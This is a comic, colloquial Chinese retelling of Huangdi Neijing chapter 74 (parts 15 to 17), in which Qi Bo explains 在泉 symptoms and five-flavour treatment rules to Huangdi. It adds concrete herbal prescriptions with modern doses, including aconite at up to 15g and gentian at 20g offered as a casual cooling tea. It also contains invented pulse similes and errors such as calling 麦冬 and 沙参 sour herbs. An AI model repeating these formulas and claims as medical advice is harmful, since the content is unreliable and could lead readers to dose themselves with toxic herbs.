黄帝一听，眉头紧锁，连忙追问：“那要是‘主胜’（就是咱们身体的正气占了上风，但也不是啥好事，因为太过或不及都会出问题）呢？” 岐伯继续笑道：“要是‘主胜’啊，那情况也不妙。您可能会觉得一股子冷气从脚底嗖嗖地往上窜，直达心窝，那心痛得，跟有人拿针扎似的。再加上发烧，胸口那块儿（膻中穴附近），就像是被火烧一样。这时候啊，各种痹症（就是咱们说的风湿病、关节炎之类的）都跟着起哄，特别是胁肋两侧（章门、期门穴附近），那疼得，简直让人怀疑人生。还有啊，您可能会发现，自己出的汗跟漏水似的，止都止不住，这可不是什么好事儿，说明身体的阳气外泄了。更惨的是，手脚还可能冰凉凉的，跟刚从冰箱里拿出来似的，想动都费劲儿。” 黄帝听完，一脸惊愕，心想：“这少阴在泉，还真是不好惹啊！” 岐伯见状，安慰道：“陛下莫急，虽然这少阴在泉有点‘任性’，但咱们也不是没有办法。比如说啊，要是‘客胜’了，咱们可以用点温阳散寒、通络止痛的方子。比如说，来个‘附子汤’升级版，把附子（注意啊，这可是有毒的，得炮制好了才能用）、干姜、甘草、白术这些药材（换算成现代剂量，大约附子15克，干姜10克，甘草10克，白术15克），按照一定比例煮成汤，喝下去，暖洋洋的，那寒气、湿气啊，都得靠边站！” “至于‘主胜’嘛，咱们就得用点清热泻火、养阴生津的方子。比如说，‘竹叶石膏汤’的改良版，竹叶、石膏、麦冬、半夏、人参、甘草、粳米这些（换算成现代剂量，大约竹叶10克，石膏30克，麦冬15克，半夏9克，人参6克，甘草6克，粳米一把，这个量比较灵活），煮成一锅，喝下去，那热气啊，就像被灭火器喷了一样，嗖嗖地就没了。不过啊，这方子也得根据个人情况调整，毕竟每个人的体质都是独一无二的。” 黄帝一听，眼睛一亮，笑道：“岐伯老兄，你这法子真是绝了！不过啊，我这人记性不好，你能不能再给我讲讲脉象，让我有个更直观的感受？” 岐伯点头笑道：“当然可以！要是少阴在泉，‘客胜’的时候，脉象啊，就像是冬天的冰凌，又硬又冷，还带点涩，就像是走在结冰的路上，一不小心就得摔一跤。而‘主胜’的时候呢，脉象就像是夏天的热浪，又洪大又急促，就像是跑步机上狂奔的人，心跳得跟擂鼓似的，一刻不停。” 至真要大论篇第七十四（十五） 黄帝说：“嘿，岐伯，我这心里头啊，就跟揣了个十万个为什么似的，今天就想问问，要是太阴这位‘泉水管理员’在岗的时候，人体会出现啥状况呢？” 岐伯一听，哈哈一笑，捋了捋他那飘逸的胡子，说：“黄帝啊，你这问题问得可真是有水平！来来来，让我给你细细道来。 想象一下，咱们身体里头啊，有个叫‘太阴’的家伙，它要是当上了‘在泉’这个职位，那可得看它是‘客胜’还是‘主胜’了。啥是‘客胜’？就好比是外来的客人太强势，把主人家的风头都给抢了。这时候啊，咱们的脚啊，就像是被泡了水的面条，软绵绵的，走起路来那叫一个‘下重’，跟绑了两个沙袋似的。而且啊，上厕所这事儿也变得不定时了，一会儿想上，一会儿又没了感觉，这都是湿气在下焦捣乱呢！ 湿气这家伙，可调皮了，它一来，咱们就容易拉肚子，是那种黏黏糊糊的，感觉怎么拉都拉不干净的那种。有时候啊，还会出现水肿，特别是腿啊、脸啊，肿得跟包子似的。更尴尬的是，一些隐秘部位的小毛病也跟着来了，哎呀，这事儿咱们就不细说了，免得大家尴尬。 但要是‘主胜’呢？那就是咱们自家‘太阴’大佬发威了。这时候啊，寒气就像是被惹毛了的小怪兽，呼呼地往上冲，把肚子给填得满满的，感觉就像吃了个冰块，还下不去。吃饭？不存在的，根本吃不下，胃口差得跟失恋了似的。要是再严重点，嘿，说不定还能得个疝气，那可真是‘痛并快乐着’的另类体验了。 不过啊，黄帝，你这问题虽然有趣，但咱们中医讲究的是辨证施治，穴位、方剂、脉象，那是一样都不能少。比如说吧，要是真遇到了太阴在泉导致的这些问题，咱们可以找找足三里、阴陵泉这些穴位。足三里啊，就像是身体里的‘能量站’，按一按，能帮你驱散湿气，恢复活力。阴陵泉呢，则是‘湿气出口’，多揉揉，能把体内的湿气给排出去。 至于方剂嘛，咱们可以来个‘健脾祛湿汤’。这方子啊，得用白术10克，茯苓10克，猪苓10克，泽泻10克，这四味药就像是四位清洁工人，能把体内的湿气打扫得干干净净。再加上党参10克，炙甘草5克，这两位就像是后勤部长，给你补充能量，让你有力气对抗湿气。把这些药材放到锅里，加水没过药材，大火烧开转小火煮个半小时，一碗香喷喷的‘祛湿神器’就完成了！ 脉象这事儿啊，也是咱们中医的独门秘籍。太阴在泉的时候，脉象往往是濡脉，就像是摸到了一团湿棉花，软绵绵的，没有力气。或者是沉脉，得用力按才能感觉到，就像是捉迷藏的孩子，藏得可深了。这时候啊，咱们就得仔细分辨，看看是湿气太重呢，还是寒气太盛，然后对症下药，才能让身体恢复到最佳状态。 黄帝说：“嘿，岐伯，我今儿个就想问问，如果少阳这位‘在泉大佬’发威了，咱们的身体会出现啥状况呢？” 岐伯一听，哈哈一笑，捋了捋长须，悠悠道来：“黄帝啊，你这问题问得可是真到位！要说少阳在泉这位老兄要是客气过了头，变成了‘客胜’（就是外界邪气太盛），那可热闹了。你想啊，腰啊、肚子啊，这些地方就像是被谁偷偷踹了一脚，疼得直哼哼，关键是这时候吧，人家冷得直打哆嗦，你却反其道而行之，觉得冷得不对劲，就像是大夏天穿着棉袄吃冰淇淋的感觉。更夸张的是，有的人啊，嘘嘘的时候，嘿，那尿液竟然跟淘米水似的，白花花一片，你说这事儿逗不逗？” 黄帝一听，也是乐了：“这少阳兄还真是会玩儿啊！那要是主胜呢？就是自己家里阳气太足了，压过了外头的邪气。” 岐伯点头笑道：“对头！要是主胜了，那就更逗了。你想啊，本来阳气该乖乖待在下面的，结果它倒好，跟叛逆少年似的，噌噌噌往上窜，直接冲进了心房。这一冲进去，哎哟喂，心脏可受不了这刺激，立马就跟你抗议，心绞痛啊，发烧啊，全来了。更惨的是，这股子热气还跟胃里的食物较上劲了，把它们都顶得往上翻，结果呢，就是一阵接一阵的干呕，那感觉，就像是喝醉酒的狐狸，想吐又吐不出来，难受得很。” 黄帝听完，笑得前仰后合：“哈哈，岐伯兄，你这解释得太生动了，我都感觉自己已经亲身体验了一把。对了，你说这少阴的情况跟少阳一样？这是咋回事？” 岐伯解释道：“这俩啊，就像是孪生兄弟，虽然性格略有不同，但遇到事儿，反应还是挺相似的。所以，症状也就大同小异了。” 说到这里，黄帝突然话锋一转：“岐伯兄，咱们聊了这么多，有没有什么秘方可以对付这些个调皮捣蛋的家伙呢？” 岐伯微微一笑，从袖中掏出一纸药方：“当然有啦，不过这可是看家本领，一般人我都不告诉他。来，我给你念念，这可是‘调和少阳汤’的秘方。首先，你得准备柴胡30克，黄芩20克，半夏15克，生姜10克，党参15克，大枣8枚，炙甘草10克。把这些药材一股脑儿扔进锅里，加水没过药材，大火烧开，转小火慢慢炖上个把小时，直到药香四溢，汤汁浓缩到差不多一碗的量，然后就可以出锅啦！记得，趁热喝，效果杠杠的！” 黄帝一听，眼睛一亮：“哟呵，这方子听起来就挺有料，感觉喝完之后，整个人都能精神焕发，跟打了鸡血似的。不过，岐伯兄，这脉象上有没有什么特别的提示，让我们能提前发现少阳这家伙在搞鬼呢？” 岐伯捋了捋胡子，故作神秘地说：“脉象啊，那可是身体的小秘密，稍微留意就能发现。少阳在泉要是作妖，脉象就会变得又细又快，就像是被追赶的小兔子，嘭嘭直跳，一刻不停。这时候，你要是搭脉，嘿，那感觉就像是摸到了一根紧绷的琴弦，轻轻一拨，就能听到‘嗡嗡’的回响。所以啊，下次你要是感觉自己心跳加速，脉搏细速，记得赶紧想想，是不是少阳这家伙又在背后捣鬼了。” 黄帝说：“嘿，岐伯，今儿个又冒出个新问题来——阳明在泉的时候，人体会出现啥状况呢？你给咱讲讲呗！” 岐伯一听，哈哈一笑，捋了捋他那长白胡子，说道：“黄帝陛下啊，您这求知欲，真是比我这胡子还长！好吧，那我就给您说道说道这阳明在泉的那点事儿。 想象一下，如果阳明这位大佬在泉（中医里的‘在泉’啊，就像是人体内部的守护神，每年换个班，影响咱们的健康），它要是客气大了，也就是外来邪气占了上风，那可就热闹了。首先啊，你会觉得一股清新的冷空气，嗖的一下，从下面往上窜，这可不是什么好事儿，它会让你的小肚子（现代医学说的下腹部）变得硬邦邦的，跟装了块石头似的，还特别想拉肚子，一天跑好几趟厕所，那感觉，就像是跟马桶结下了不解之缘！ 但是呢，如果咱们体内的正气足了，主人公——也就是咱们自身的阳气占了上风，那阳明这位大佬就得稍微收敛点。这时候，你会觉得腰跟坠了块铅似的，沉得要命，肚子也开始隐隐作痛，就像是有个调皮的小鬼在里面捣乱。更糟糕的是，小肚子这块儿啊，凉飕飕的，就像是刚从冰箱里拿出来似的，拉出来的大便也是稀稀拉拉的，跟面糊糊一样，这在中医里头叫‘鹜溏’。这寒气啊，它还不老实，一路往上冲，先是跑到肠子里头捣乱，让你肠绞痛，然后呢，它还想着往更高的地方冲，一直冲到胸口，让你喘不上气来，感觉就像是被人掐住了脖子，站久了都费劲儿，恨不得立马找个沙发葛优躺！” 黄帝一听，笑得前仰后合，说：“岐伯啊，你这描述得太生动了，我都感觉自己已经坐在马桶上，准备迎接那股‘清新冷空气’了呢！不过话说回来，这阳明在泉，咱们有没有什么办法应对呢？比如按按穴位，或者吃点啥药？” 岐伯微微一笑，说：“陛下，您问对人了！首先啊，穴位这块儿，咱们可以揉揉‘足三里’和‘天枢’，这两个穴位就像是肚子上的小太阳，能温暖你的脾胃，驱散那股寒气。足三里啊，就在小腿外侧，膝盖骨下面三寸的地方，您找找看，是不是有个酸酸的地方？那就是了，多揉揉，好处多多。天枢呢，就在肚脐眼旁边两寸，左右各一个，按起来也是酸酸涨涨的，特别舒服。 至于吃药嘛，咱们可以来个‘理中汤’，这方子可是治疗脾胃虚寒的经典之作。材料嘛，就是人参、干姜、甘草、白术这四味药。人参15克，干姜15克，甘草15克，白术15克。把这四样东西放到锅里，加上适量的水，就像炖肉一样，慢慢炖煮，直到水变成浓浓的汤，然后趁热喝下去，保证你肚子里暖洋洋的，那些寒气啊，早就跑得无影无踪了！ 说到脉象，这阳明在泉的时候，如果邪气太盛，脉象往往会变得又紧又滑，就像是摸到了冬天里的冻豆腐，硬邦邦还滑溜溜的。而要是正气足了，脉象就会变得沉缓有力，就像是摸到了夏天的西瓜，虽然沉，但里面却是满满的水分和活力。 黄帝一脸好奇地问：嘿，岐伯，我特别是对这太阳在泉时候的症状，简直是挠心挠肺地想知道啊！你说，这太阳要是“在泉”了，咱们身体会出现啥奇奇怪怪的反应呢？ 岐伯捋了捋长须，笑眯眯地说：哎呀，黄帝陛下，您这问题问得，简直是要把我这把老骨头里的知识都给掏空了。不过嘛，既然您这么感兴趣，那我就给您细细道来。 想象一下，太阳这家伙要是“在泉”啊，那就相当于冬天里的大boss——寒冷，它悄悄地潜伏在咱们身体的深处，不走寻常路，专挑那些容易“漏风”的地方捣乱。这第一站，往往就是咱们的“腰尻”（现代咱们可以理解为腰部到尾椎那一块儿）。你想想，大冬天的，你要是穿少了，是不是感觉腰后面跟被冰块贴着似的？这太阳在泉，也是一样的道理，腰尻就开始隐隐作痛，仿佛有个小恶魔在那里拿冰锥子捅你，让你直不起腰，弯不下身，那叫一个“屈伸不利”啊！ 黄帝皱着眉头，问道：哎哟喂，听起来就让人菊花一紧，那接下来呢？ 岐伯：别急，别急，咱们继续。这寒冷要是再往下窜，就到了咱们的“股胫足膝中”。股啊，就是大腿；胫呢，是小腿；足膝嘛，就不用说了，脚丫子和膝盖。这些地方啊，平时就容易受凉，太阳在泉的时候，更是雪上加霜。你会觉得，走起路来，每一步都像是在踩冰刀，嗖嗖的冷风直往骨头里钻，疼得那叫一个酸爽！ 黄帝夸张地搓着手，说道：听起来，这太阳在泉，简直就是给咱们的身体来了个“冰雪奇缘”体验啊！ 岐伯大笑，继续说：不止呢，要是真遇到这种情况，咱们老祖宗留下来的智慧可就有用了。比如说，有个方子，咱们可以称之为“暖阳逐寒汤”。这方子啊，简单又实用，就像是给身体送温暖的快递小哥。 配方嘛，得这么来：干姜5克，这可是驱寒暖身的头牌；肉桂3克，它能帮你把体内的寒气给“轰”出去；附子一枚（古代附子大小不一，咱们大约按现代剂量算个5克吧，但记得附子有毒，得炮制好才能用），这可是温阳的猛将，不过用的时候要小心哦，别把自己给“补”过头了；再加上甘草5克，调和药性，就像是给这碗汤加点甜味，让它不那么“火辣辣”。 黄帝眼睛一亮：听起来，这方子就像是给身体定制的“小火炉”啊！ 岐伯继续说道：正是如此，不过话说回来，咱们还得聊聊脉象。黄帝您知道吗，太阳在泉的时候，脉象也会跟着起哄呢！这时候的脉象啊，就像是个调皮的孩子，蹦蹦跳跳的，咱们中医称之为“紧脉”。 紧脉是啥样呢？想象一下，你冬天在外面冻得直哆嗦，手指尖那种紧绷绷的感觉，就是紧脉的缩影。摸起来，就像是摸到了一根紧绷的琴弦，嗖嗖地弹来弹去，这就是体内寒气作祟，气血在跟寒冷做斗争呢！ 至真要大论篇第七十四（十六） 黄帝拍了拍岐伯的肩膀，一脸认真地说：“岐伯啊，你说得头头是道，那具体怎么治呢？咱们能不能来点实操干货？” 岐伯捋了捋他那飘逸的胡子，笑眯眯地说：“好嘞，黄帝，您听好了，咱们这可是要玩转中医界的‘平衡大师’游戏啊！首先，遇到身体上部的问题，比如头痛、肩膀酸，咱们就得把它往下压一压，就像是给高楼加个减震器，针灸的时候呢，可以选‘合谷’、‘太冲’这些穴位，它们就像是身体的‘压力阀’，轻轻一按，火气就消了大半。 反过来，要是腿脚不利索，感觉下肢像灌了铅，那咱们就得把它们往上提一提，这时候，‘足三里’、‘涌泉’穴可就成了咱们的得力助手，按摩或者艾灸这些穴位，就像给腿部装了弹簧，走路都带风！ 说到有余和不足，咱们中医讲究的是个‘中庸之道’。身体哪个部位能量过剩了，比如肝火旺，咱们就得给它‘折’一下，用点清热降火的草药，比如‘龙胆草’、‘夏枯草’，按现代计量来算，大约就是20克龙胆草配上15克夏枯草，煮成一碗凉茶，喝下去，保证你火气全消，心情美美哒。 而身体哪里虚了，比如气虚血虚，咱们就得赶紧‘补’起来，‘黄芪’、‘当归’这对黄金搭档可不能少，各来30克，炖鸡汤的时候丢进去，那味道，啧啧，既补了身子，又享受了美味，简直是双赢！ 但是，光这样还不够，咱们还得根据病人的具体情况，加点‘佐料’，比如病人爱吃酸的，咱们就加点酸味的食物或者药材，像是‘山楂’、‘五味子’，既能开胃，又能调和药性。要是病人怕冷，咱们就用点温热的，比如‘生姜’、‘肉桂’，让身体暖和起来，就像冬天里的一把火！ 说到‘安其主客，适其寒温’，这可是咱们中医的高深学问了。简单来说，就是要分清病因是外来的还是内在的，是寒邪还是热邪，然后对症下药。比如风寒感冒，咱们就用‘麻黄汤’，麻黄9克、桂枝6克、杏仁9克、甘草3克，煮一锅热腾腾的汤，喝下去，保证你鼻涕不流，精神抖擞！ 而如果是热邪入侵，比如中暑，那咱们就得用‘白虎汤’来清热解暑，石膏30克、知母9克、粳米一把、甘草3克，煮好后放凉再喝，那叫一个透心凉，心飞扬！ 至于‘同者逆之，异者从之’，这可是咱们中医的智慧结晶。意思是，如果病情和我们的治疗方法是同一性质的，那咱们就得反其道而行之，比如阴虚火旺，咱们得用滋阴降火的方法，而不是火上浇油。相反，如果病情和治疗方法性质相反，那咱们就得顺着它来，比如寒邪入侵，咱们就得用温热的药物来驱散寒气。 黄帝，您看，咱们中医治病，就像是打一场精彩的篮球赛，既要精准投篮，又要团队协作，最重要的是，得了解对手（病情），才能制定出最有效的战术（治疗方案）。所以呀，咱们得多学习，多实践，才能成为真正的‘中医大师’！” 有一天，黄帝闲来无事，便找来了岐伯，打算聊聊医术。黄帝一脸认真地说：“岐伯啊，我听说治疗寒气得用热药，治疗热气得用寒药，就是所谓的‘气相得者逆之，不相得者从之’的原则，这个我已经搞懂了。但是，关于五味怎么用来治病，我还是有点懵啊。你给我讲讲呗？” 岐伯一听，嘿嘿一笑，说：“这事儿啊，简单！咱们得先从五行说起。你看，木、火、土、金、水，这是自然界的五种基本元素，咱们人体的五脏六腑、气血津液，还有咱们吃的五谷杂粮、蔬菜水果，都能跟这五行对上号。五行里木对应的是肝，肝要是出了毛病，比如肝气郁结啦，肝阳上亢啦，咱们就得用五味里的酸来泻它，用辛来补它。” 黄帝一听，眉头一皱，说：“哎？这酸味和辛味，怎么还能泻肝补肝呢？你给我讲讲这其中的道理。” 岐伯摸了摸下巴上的小胡子，笑道：“你看啊，酸味就像是个小调皮，它能收敛、能固涩，就像是给肝气这个调皮鬼套了个小枷锁，让它别太过于奔放。比如说，肝气郁结的人，心情总是郁闷，胸胁还胀痛，这时候用点酸味药，比如乌梅、山楂啥的，就能让肝气收敛点，不那么闹腾了。这就是所谓的‘泻’嘛！” 黄帝点了点头，说：“哦，原来是这样。那辛味呢？为啥能补肝呢？” 岐伯哈哈一笑，说：“辛味啊，就像是个热情奔放的小伙子，它能发散、能行气，就像是给肝气这个小姑娘送了个温暖的拥抱，让它更有活力。比如说，肝血不足的人，总是头晕目眩、面色苍白，这时候用点辛味药，比如桂枝、生姜啥的，就能让肝气更活跃点，促进气血的运行，这就是所谓的‘补’嘛！” 黄帝继续问道：“哎，岐伯啊，你说这火位之主在咱们中医里头，是咋治病的呢？我这心里头啊，跟揣了个小火炉似的，非得问个明白不可！” 岐伯一听，嘿，这黄帝今儿个是来了兴致啊，便捋了捋他那长长的白胡子，慢悠悠地说：“黄帝啊，你这问题问得好！五行里火对应的是心，火位之主嘛，说白了，就是咱们身体里的那股子热乎劲儿，要是这股劲儿不对劲儿了，那就得调理调理。调理的方法嘛，简单得很，泻火用甘，补火用咸，就这么简单！” 黄帝一听，眉头一皱：“嗯？甘和咸？你这是要拿糖和盐来治病吗？” 岐伯一听，哈哈大笑：“黄帝啊，你这思路可真够跳跃的！我说的甘和咸，可不是咱们厨房里的调味品，而是中药的五味之一啊！来来来，我给你细细道来。” “先说泻火用甘吧。你想啊，火大了是不是得灭灭火？这时候，咱们就得用点甘甜的药材来滋阴润燥，把火气给降下来。比如说啊，麦冬，这东西吃起来甜甜的，但是它可厉害了，能润肺清心，把心里的那股子邪火给灭了。还有啊，石斛，也是甜甜的，它能养胃生津，让你的胃里头不再那么燥热。这就像是你吃了一块儿甜甜的冰镇西瓜，瞬间感觉整个人都凉快了下来！” 黄帝一听，眼睛一亮：“哦？这么说来，这甘甜的药材就像是灭火器啊，专门对付身体里的邪火！” 岐伯点点头：“没错没错！不过啊，这灭火器也不能乱用，得根据实际情况来。比如说吧，你要是阴虚火旺，那用点甘甜的药材就对了；但要是你是实火，那光用甘甜的可就不够了，还得用点苦寒的来清热泻火。” 黄帝一听，连连点头：“嗯，有道理！那补火用咸又是咋回事呢？” 岐伯又是一阵大笑：“黄帝啊，你这问题问得好啊！补火用咸，听起来有点奇怪，但其实啊，咸味入肾，肾又是咱们身体的根本，肾气足了，自然就能生火了。比如说啊，咱们常用的盐附子，它就是咸的，能温阳补肾，让你的身体里头那股子阳气旺旺的。它能散寒止痛，让你的身体暖洋洋的，就像是冬天里的一把火！” 黄帝一听，乐得合不拢嘴：“哈哈，这么说来，这咸味的药材就像是打火机啊，能给身体添把火！” 岐伯摆摆手：“哎，黄帝啊，你这比喻虽然有点夸张，但意思还算对。不过啊，这打火机也不能乱用啊，得看你身体里是不是真缺这把火。要是你是肾阳虚，那用点咸味的药材就对了；但要是你是肾阴虚，那光用咸味的可就不够了，还得用点滋阴的来平衡阴阳。” 黄帝一脸认真地问岐伯：“岐伯啊，我听说五行之中，土位之主在治病上可是个大学问，你给我讲讲呗！” 岐伯老师一听，嘿嘿一笑，心想这黄帝又来找乐子了，于是清了清嗓子，故作高深地说：“陛下啊，这土位之主嘛，说白了就是脾胃的事儿。脾胃在五行中属土，是人体后天之本，就像咱们家里的土地爷，得供好了，不然庄稼不长，人也一样，脾胃不好，吃啥都不香！” 黄帝一听，眼睛一亮，连忙点头：“对对对，你说得太对了！那赶紧告诉我，这土位之主要是病了，咱得怎么治呢？” 岐伯不慌不忙，伸手一指：“看好了，这土位之主啊，要是想泻它，就用苦味的药；要是想补它，就用甘味的药。简单说，就是‘其泻以苦，其补以甘’。” 黄帝大爷挠挠头：“苦味泻，甘味补？这是啥意思呢？” 岐伯哈哈一笑，开始了他的讲解：“来，我给你举个例子。先说苦味吧，苦味就像是个严厉的教官，专门对付那些调皮捣蛋的脾胃。比如说，黄连，那可是出了名的苦啊，吃一口能苦得你眼泪鼻涕一起流。但它能清热燥湿，对那些因为湿热导致的脾胃不适，就像给脾胃洗了个澡，一下子就把湿热给赶跑了！” 黄帝一听，哈哈大笑：“这黄连也太狠了吧，不过听起来还挺有用的！” 岐伯接着说：“别急，还有甘味呢。甘味就像是个温柔的妈妈，专门哄脾胃这个小宝宝开心。比如说，甘草，那可是中药里的‘和事佬’，啥药里都能加点它，既不抢风头，又能让脾胃感到温暖和舒适。吃了甘草，脾胃就像被妈妈抱在怀里一样，舒服得不得了，自然病也就好了！” 黄帝听得津津有味，忍不住插话：“那这么说，甘味都是好药，苦味都是狠药了？” 岐伯摇了摇头，笑得像个老顽童：“那可不一定哦！药无好坏，对症才行。苦味药虽然苦，但有时候也是救命的良药；甘味药虽然甜，但也不能瞎吃，不然也会出问题。比如说，人参是大补的甘味药吧，但要是给身体不虚的人吃了，那可就像给本来就满的水缸再加水，非但无益，反而有害呢！” 黄帝一听，恍然大悟：“原来如此，看来用药还得讲究个平衡啊！” 岐伯满意地点点头：“没错，平衡才是中医的精髓。就像咱们平时吃饭一样，酸甜苦辣咸都得来点，这样才能营养均衡，脾胃也才能健健康康的。用药也是这样，不能光想着用苦味泻，也不能光想着用甘味补，得根据病情来，该泻就泻，该补就补，这样才能达到治病的效果。” 黄帝突发奇想，对身边的岐伯说：“嘿，岐伯啊，我这心里头老琢磨着，那五行里的金位之主，它要是生病了，咱们得怎么治它呢？你赶紧给我说道说道。” 岐伯一听，心里头那个乐啊，心想这黄帝还真是爱学习，连五行治病这种高深莫测的学问都感兴趣。于是，他捋了捋下巴上的长胡子，慢悠悠地说：“黄帝啊，你这问题问得好！金位之主嘛，它要是闹起脾气来，咱们得这么治它——泻之以辛，补之以酸。” 黄帝一听，眉头一皱，心说：“这啥辛啊酸的，听着就跟炒菜似的，咋回事儿呢？” 岐伯一看黄帝那迷茫的小眼神儿，就知道他心里头没谱儿。于是，他清了清嗓子，开始给黄帝上起了生动的中药课。 “黄帝啊，你看这金位之主，它对应的是咱们的五脏里的肺，还有六腑里的大肠。这肺和大肠啊，它们都喜欢清清爽爽的，不喜欢太干燥或者太湿润。所以啊，要是它们生病了，咱们就得根据它们的喜好来调理。” “先说泻之以辛吧。这‘辛’啊，可不是你吃的那个辣椒、花椒啥的，虽然它们也辣，但这里的‘辛’啊，是指的那些能够发散、行气、活血的药物。你想啊，肺和大肠要是堵了，或者气血不畅了，咱们就得用这些辛味的药来给它们通通气儿，让它们舒畅起来。比如啊，那个生姜、葱白啥的，都是辛味的代表。你要是感冒了，鼻塞流涕的，来点儿生姜水，或者煮点儿葱白汤，保管你鼻子通气儿，浑身舒畅！” 黄帝一听，眼睛一亮，心说：“嘿，这辛味的药还挺管用啊！” 岐伯一看黄帝那兴奋劲儿，就知道他上钩了。于是，他接着往下说：“再说补之以酸吧。这‘酸’啊，可不是你吃的那个醋、柠檬啥的，虽然它们也酸，但这里的‘酸’啊，是指的那些能够收敛、固涩、生津的药物。你想啊，肺和大肠要是太干燥了，或者气血太散了，咱们就得用这些酸味的药来给它们收收气儿，让它们滋润起来。比如啊，那个乌梅、山楂啥的，都是酸味的代表。你要是口干舌燥的，或者拉肚子拉得厉害了，来点儿乌梅汤，或者吃点儿山楂片，保管你嘴里生津，肚子舒服！” 黄帝一听，乐得直拍手，心说：“这酸味的药也挺有意思啊！” 岐伯一看黄帝那高兴样儿，就知道他这回是真懂了。于是，他又补充了一句：“不过啊，黄帝，你得记住，这用药啊，就跟炒菜似的，得有个度。太多了不行，太少了也不行。所以啊，咱们得根据病情来，该泻就泻，该补就补，这样才能药到病除！” 黄帝一听，连连点头，心说：“岐伯啊，你这中药课讲得真是通俗易懂啊！以后啊，我得多跟你学学！” 岐伯一听，心里头那个美啊，心想这黄帝还真是会夸人。于是，他又给黄帝举了个例子：“比如说啊，你要是有个朋友，他老是咳嗽、气喘啥的，一检查发现是肺燥引起的。那你就可以建议他吃点儿酸味的药来补补肺阴。像那个麦冬啊、沙参啊啥的，都是不错的选择。当然了，要是他咳嗽得太厉害了，你还可以给他加点儿辛味的药来发散一下肺气。像那个桔梗啊、薄荷啊啥的，都能起到很好的效果！” 至真要大论篇第七十四（十七） 黄帝闲来无事，决定找他的老中医朋友岐伯聊聊天，探讨一下人生的奥秘，哦不，是医学的奥秘。黄帝开口了：“嘿，岐伯，我这心里头啊，老是对那个水位之主怎么治病的事儿耿耿于怀，你能不能给我讲讲？” 岐伯一听，嘿，这可是个大学问啊，但看他老人家一脸求知欲，便故作深沉地摸了摸下巴上的山羊胡，说：“这事儿啊，说来话长，不过既然黄帝您问了，那我就得好好给您说道说道。” 黄帝一听，眼睛立马亮了起来，跟俩灯泡似的，催促道：“快讲快讲，我这耳朵都竖起来了！” 岐伯清了清嗓子，开始了他的“水位之主”大讲堂：“所谓水位之主啊，其实就是咱们中医里说的肾脏啦。肾脏在五行中属水，它要是出了毛病，那可得好好调理。调理的方法嘛，简单来说，就是‘其泻以咸，其补以苦’。” 黄帝一听，眉头一皱，疑惑道：“啥？咸能泻，苦能补？这不是反了吗？我平时吃咸鸭蛋吃得多，也没见泻出个啥来啊！” 岐伯一听，差点没笑喷出来，赶紧解释道：“黄帝您啊，这是误解了。我说的这咸泻苦补，可不是让您去吃咸鸭蛋或者苦瓜那么简单。咱们中医讲究的是药性，是药物里的那股子味道，对应着人体的脏腑，能起到调理的作用。” 黄帝一听，恍然大悟，拍案叫绝：“哦~原来是这样！那你快给我举几个例子，让我这脑袋瓜子也开开窍！” 岐伯一看黄帝这求知若渴的样子，心里那叫一个得意，便开始了他的举例说明：“先说泻吧，咸能泻肾，意思就是说，咸味的药物能帮助肾脏排出多余的废水或者毒素。比如说，咱们有个中药叫芒硝，它味道咸咸的，就能帮助肾脏把那些不需要的水分给‘泻’出去，特别是对于那种水肿啊、小便不利的人啊，效果杠杠的！” 黄帝一听，眼睛一亮：“哟呵，这芒硝还是个排水小能手呢！那苦补呢？苦咋还能补呢？” 岐伯一看黄帝这好奇宝宝的样子，更是来了劲：“苦能补肾啊，这可不是说着玩的。苦味的药物，它能帮助肾脏固摄精气，防止精气外泄。比如说，咱们有个中药叫黄柏，它味道苦苦的，就能帮助肾脏把那些宝贵的精气给‘补’起来，特别是对于那种肾虚啊、腰膝酸软的人啊，那可是大大的有好处！” 黄帝一听，更是乐开了花：“哈哈，这黄柏还是个补肾小达人呢！那我这回可是真懂了，原来中药里的味道还有这么多讲究呢！” 岐伯一看黄帝这得意洋洋的样子，忍不住泼了盆冷水：“嘿，黄帝您可别高兴得太早。这中药啊，可不是随便吃的。每个人的体质不一样，病情也不一样，得对症下药才行。要不然啊，吃错了药，那可就得不偿失了！” 话说回来啊，这肾脏啊，在中医里可是个重要的脏腑。它不仅是咱们身体的“过滤器”，负责过滤掉血液中的毒素和多余的水分，形成尿液排出体外；还是咱们身体的“能量库”，储存着咱们从食物中获取的精华物质，供咱们日常活动所需。所以啊，咱们平时啊，可得好好保养肾脏哦！ 怎么保养呢？那就得从饮食、作息、运动等多方面入手了。比如说啊，咱们可以多吃点黑色的食物，像黑豆、黑芝麻、黑木耳啥的，因为中医讲究“黑色入肾”，这些食物啊，都能帮助咱们补肾；再比如说啊，咱们得保证充足的睡眠啊，因为肾脏啊，它是在咱们睡觉的时候进行“大扫除”的，要是睡眠不足啊，肾脏可就得加班加点地工作了；还有啊，咱们得适当运动啊，因为运动啊，能促进血液循环啊，帮助肾脏更好地排出毒素和多余的水分。 黄帝闲来无事，就琢磨起了一个深奥的问题：“哎，岐伯啊，我这心里头老有个疙瘩，你说这厥阴之客它要是捣蛋起来，咱们中医是咋对付它的呢？”岐伯一听，嘿，这可是个展示自己深厚医学功底的好机会，于是清了清嗓子，准备开讲。 岐伯慢悠悠地说：“黄帝啊，你这问题问得好！厥阴之客啊，它就像是咱们身体里的一个小淘气，时不时就爱出来捣乱。不过呢，咱们中医有的是办法对付它。记住了啊，对付厥阴之客，咱们得用‘辛’来补它，用‘酸’来泻它，再用‘甘’来缓和它。” 黄帝一听，眉头一皱，心想：“这说的啥跟啥啊？能不能来点接地气的解释？”岐伯一看黄帝这表情，就知道他没听懂，于是决定换个方式，用更幽默、更易懂的语言来解释。 “黄帝啊，你想啊，这厥阴之客就像是咱们家里的小捣蛋鬼，时不时就想搞点破坏。那咱们怎么对付它呢？首先啊，咱们得用‘辛’来补它。这‘辛’啊，就像是给这小捣蛋鬼准备的‘正能量大礼包’，让它变得不那么调皮捣蛋了。比如说啊，生姜、花椒这些，都是‘辛’味的代表，它们能温中散寒，给身体加点阳气，让小捣蛋鬼不敢轻易出来捣乱。” 黄帝一听，点了点头，心想：“哦，原来是这样啊，那‘酸’又是咋回事呢？”岐伯一看黄帝这表情，就知道他还没完全明白，于是接着说：“这‘酸’啊，就像是给厥阴之客准备的‘收敛神器’，能让它收敛起自己的调皮劲儿。你想啊，小捣蛋鬼要是太调皮了，咱们就得用点手段让它老实点。比如说啊，山楂、乌梅这些，都是‘酸’味的代表，它们能收敛肺气、生津止渴，让小捣蛋鬼知道收敛。” 